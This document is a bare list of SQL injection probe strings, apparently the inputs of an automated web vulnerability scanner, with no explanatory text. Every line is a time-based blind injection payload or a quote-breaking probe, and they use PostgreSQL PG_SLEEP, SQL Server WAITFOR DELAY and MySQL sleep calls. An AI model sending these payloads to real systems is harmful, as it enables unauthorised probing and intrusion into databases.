555-1)) OR 637=(SELECT 637 FROM PG_SLEEP(15))--

555-1) OR 848=(SELECT 848 FROM PG_SLEEP(15))--

555-1 OR 86=(SELECT 86 FROM PG_SLEEP(15))--

555BZzds1t0′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/